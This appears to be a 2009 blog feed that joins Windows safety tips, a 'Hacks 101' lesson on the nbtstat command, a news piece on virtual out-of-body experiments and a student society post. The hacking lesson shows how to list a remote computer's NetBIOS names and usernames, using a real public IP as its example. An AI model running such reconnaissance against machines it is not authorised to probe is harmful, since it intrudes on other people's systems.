Point to Accessories, then point to System Tools, and then choose System Restore.
When the program begins, choose Create a restore point and click Next.
Enter a description of the restore point and click Create. After a few seconds, the program will tell you the date, time, and description of the new restore point.
Click Close to exit System Restore.

4. Keep Windows and Office up-to-date

Computer programs are continually improved based on customer feedback and continuing product testing. As problems are resolved, you should benefit from those improvements. By checking Microsoft Update regularly, you can make sure you've got the most recent Windows and Office improvements available to you.

If you're using Windows XP, visit Microsoft Update to start the update process. If it's your first time to visit Microsoft Update, you might need to sign up to the service. Windows Vista users don't need to sign up for Microsoft Update: an account is automatically created for you during the registration process.

5. Run antivirus software AND a spyware detection and removal tool

Updating your Windows software is just the first step in keeping your computer safe. Next, you'll want to download and install antivirus software and keep it up to date. Your computer may have come with a free trial of antivirus software, but if you don't renew your subscription, you won't be protected from all the latest threats.

If your computer seems sluggish or if you begin to see lots of pop-up advertisements, even when you're not surfing the Web, your computer may be infected with spyware, adware, or other unwanted software. Learn more about spyware and what it can do to your computer. Fortunately, there's Microsoft Windows Defender, which is included in Windows Vista, and is available as a free download for Microsoft XP SP2. Alternatively, there are other free anti-spyware software programs available.

Hacks 101(Lesson-1)

noreply@blogger.com (Syed Sohaib Jamil) — Sat, 15 Aug 2009 07:11:00 +0000

BRIEF LESSON ON NETBIOS

NetBIOS stands for Network Basic Input Output System .It was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. If you have experience of working on a LAN using Microsoft Windows Operating Systems (like Windows98 , Windows Me, Windows NT etc), you must have clicked on "Network Neighborhood" to access the computers attached to your network.

Name of the computer

Username

Domain

Computer Name

and many others.

Like any other service it also works on a port . It has been assigned a port number 139.

THE NBTSTAT COMMAND

You can manually interact with the NetBIOS with the help of NBTSTAT command. To use this command click on the start button then select RUN... and type "command" without quotes to launch MS-DOS Command Prompt. Alternatively you may click on Start Button then go to Programs and then select Command Prompt. Once you are in Command Prompt you can exit by typing command EXIT . To launch Command Prompt in full screen mode press ALT+ENTER key combination .To get back to the original window again press ALT+ENTER key combination. If you have launched the command prompt you will get

c:\windows>

If you do not get windows displayed after c:\ don't worry just keep going , all required commands will work fine.

Now lets play with the NBTSTAT command.

If you want to get more help from MS-DOS about this command type NBTSTAT/? on the prompt i.e.

c:\windows>nbtstat/?

If you want to get the NetBIOS information of your computer type the following command

c:\windows>nbtstat -a 127.0.0.1

This command will list the NetBIOS information. A typical example

NetBIOS Remote Machine Name Table

Name Number Type Usage

==========================================================================

workgroup 00 G Domain Name

my_computer 03 U Messenger Service

myusername 03 U Messenger Service

MAC Address = 00-02-44-14-23-E6

Please note that we have used our ip address to be 127.0.0.1 . This ip address is called as "Loop Back" ip address because this ip address always refers to the computer you are using.

This example is self explanatory . We need not go in details. We need to know about the Name and Number. The Name displays the Name of the NetBIOS and there is a corresponding hexagonal number . You may see some additional names in your case.

If you want to get the NetBIOS names of a remote computer, the command is

c:\windows>nbtstat -a ipaddress

Example - To get the NetBIOS names of a computer having ip address 203.195.136.156, we shall use the command

NOTE-203.195.136.156 may be a active ip address of someone's computer. I am using it only as an example. Please don't hack this computer.

c:\windows>nbtstat -a 203.195.136.156

Thak you for reading please leave a comment.

Out-of-body experience

noreply@blogger.com (Syed Sohaib Jamil) — Sun, 09 Aug 2009 16:48:00 +0000

The dream of many of paralysed people, computer-game designers – and pornographers – is one step closer to reality with the demonstration of a technique that allows people to physically identify with a virtual body. The achievement builds on previous work in which neuroscientists created something similar to out-of-body experiences in healthy volunteers and tricked people viewing their virtual body into feeling that body being touched.

In the latest experiment, vibrating pads with flashing lights were positioned on the subjects' backs. Virtual bodies were generated by a camera filming their backs and were viewed as though 2 metres in front of the subjects through a head-mounted display. Repeated stroking of their backs, and the sight of the doppelganger being stroked, created the feeling that they were outside of their bodies.

At the same time, the subjects saw flashes on their virtual bodies, and felt vibrations on their real bodies. Participants were asked to ignore the flashing lights and only report where the vibrations were by pressing a button as fast as possible. The extent to which the flashing light interfered with the reporting of the vibrations was an indicator of where subjects perceived the spatial location of the vibrations to be.

Some volunteers had out-of-body experiences and reported that the vibrations were felt in the location where the flash was seen on their virtual body.

'Promising future'

"This technology, although currently in basic research, seems to have a very promising future for clinical applications in restoring lost motor functions in paralysed people," says bioethicist Jens Clausen at the Institute for Ethics and the History of Medicine at the University of Tűbingen in Germany. "It's important to integrate prosthetics into one's self concept"

Because this work confirms that people can be made to feel that a touch on the real body is a touch on the virtual body, Jane Aspell of theLaboratory of Cognitive Neuroscience at the Swiss Federal Institute of Technology in Lausanne, who led the study, says: "This emerging field has interesting implications for virtual computer gaming, such as making avatars seem more real and increasing presence in the VR environment."

Aware animals?

Although full out-of-body experiences in the lab remain elusive, the group is now aiming to boost the illusion by inducing the subject to identify more strongly with the virtual body.

The advantage of this technique, in contrast to previous methods that only used questionnaires, is that sensory perception is measured during the test, and these behavioural measures are less biased as they require no higher-order reflection, says Aspell. This means that it might be appropriate to use the method in a clinical setting where some patients report neurological out-of-body experiences, for example.

Modified versions of these experiments could even be used in animals, the authors say – allowing scientists to look into whether self-consciousness is unique to humans or whether animals have some sense of self. Because the method doesn't require the filling in of a questionnaire, animals could possibly be trained to use the equipment.

Computer Science Society President Blog # 1

noreply@blogger.com (Syed Sohaib Jamil) — Tue, 04 Aug 2009 16:59:00 +0000

As all have noticed COSIMS is trying harder to develop a sane society at

Institute of Managment Sciences.

This is the first post here we can share all the information with eachother.

I welcome you all in the COSIMS Official Blog.

Truly yours;

Syed Sohaib Jamil